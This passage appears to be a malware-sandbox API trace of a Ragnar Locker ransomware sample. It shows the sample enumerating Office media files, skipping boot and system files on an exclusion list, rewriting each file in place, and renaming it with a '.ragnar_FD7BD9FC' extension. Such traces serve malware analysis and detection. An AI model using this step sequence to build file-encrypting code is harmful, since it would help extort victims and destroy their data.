ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14579_.GIF", cAlternateFileName="")) returned 1 [0098.197] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.198] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14579_.GIF" | out: lpString1="BD14579_.GIF") returned="BD14579_.GIF" [0098.198] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF") returned=".GIF" [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="autorun.inf") returned 1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="boot.ini") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="bootfont.bin") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="bootsect.bak") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="bootmgr") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="bootmgr.efi") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="desktop.ini") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="iconcache.db") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="ntldr") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="ntuser.dat") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="ntuser.ini") returned -1 [0098.198] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="thumbs.db") returned -1 [0098.198] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.198] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.198] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.198] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.198] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.198] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.198] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif")) returned 0x20 [0098.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.199] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=267) returned 1 [0098.199] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x102, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.200] GetProcessHeap () returned 0x580000 [0098.200] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.200] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.200] VirtualAlloc (lpAddress=0x0, dwSize=0x10b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.201] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.201] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.201] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x10b, lpOverlapped=0x0) returned 1 [0098.201] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.201] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10b, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.201] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x10b, lpOverlapped=0x0) returned 1 [0098.201] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.201] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.201] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.201] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.201] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.201] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.202] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.202] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.202] GetProcessHeap () returned 0x580000 [0098.202] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.202] CloseHandle (hObject=0x10c) returned 1 [0098.202] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" [0098.202] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF.ragnar_FD7BD9FC" [0098.202] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.203] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14580_.GIF", cAlternateFileName="")) returned 1 [0098.203] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.203] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14580_.GIF" | out: lpString1="BD14580_.GIF") returned="BD14580_.GIF" [0098.203] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF") returned=".GIF" [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="autorun.inf") returned 1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="boot.ini") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="bootfont.bin") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="bootsect.bak") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="bootmgr") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="bootmgr.efi") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="desktop.ini") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="iconcache.db") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="ntldr") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="ntuser.dat") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="ntuser.ini") returned -1 [0098.203] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="thumbs.db") returned -1 [0098.203] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.203] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.203] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.203] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.203] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.203] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.203] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif")) returned 0x20 [0098.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.204] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=185) returned 1 [0098.204] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.204] GetProcessHeap () returned 0x580000 [0098.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.204] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.205] VirtualAlloc (lpAddress=0x0, dwSize=0xb9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.205] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.205] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.205] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb9, lpOverlapped=0x0) returned 1 [0098.205] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.205] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.205] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb9, lpOverlapped=0x0) returned 1 [0098.206] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.206] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.206] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.206] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.206] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.206] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.206] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.206] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.206] GetProcessHeap () returned 0x580000 [0098.206] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.206] CloseHandle (hObject=0x10c) returned 1 [0098.206] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" [0098.206] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF.ragnar_FD7BD9FC" [0098.206] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.247] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14581_.GIF", cAlternateFileName="")) returned 1 [0098.247] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.247] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14581_.GIF" | out: lpString1="BD14581_.GIF") returned="BD14581_.GIF" [0098.247] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF") returned=".GIF" [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="autorun.inf") returned 1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="boot.ini") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="bootfont.bin") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="bootsect.bak") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="bootmgr") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="bootmgr.efi") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="desktop.ini") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="iconcache.db") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="ntldr") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="ntuser.dat") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="ntuser.ini") returned -1 [0098.247] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="thumbs.db") returned -1 [0098.247] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.247] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.247] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.247] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.248] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.248] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.248] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif")) returned 0x20 [0098.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.249] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=206) returned 1 [0098.249] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.249] GetProcessHeap () returned 0x580000 [0098.249] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.249] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.250] VirtualAlloc (lpAddress=0x0, dwSize=0xce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.250] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.250] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.250] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xce, lpOverlapped=0x0) returned 1 [0098.250] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.250] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xce, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.250] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xce, lpOverlapped=0x0) returned 1 [0098.250] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.250] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.251] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.251] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.251] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.251] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.251] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.251] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.251] GetProcessHeap () returned 0x580000 [0098.251] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.251] CloseHandle (hObject=0x10c) returned 1 [0098.255] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" [0098.255] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF.ragnar_FD7BD9FC" [0098.255] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.256] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14582_.GIF", cAlternateFileName="")) returned 1 [0098.257] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", 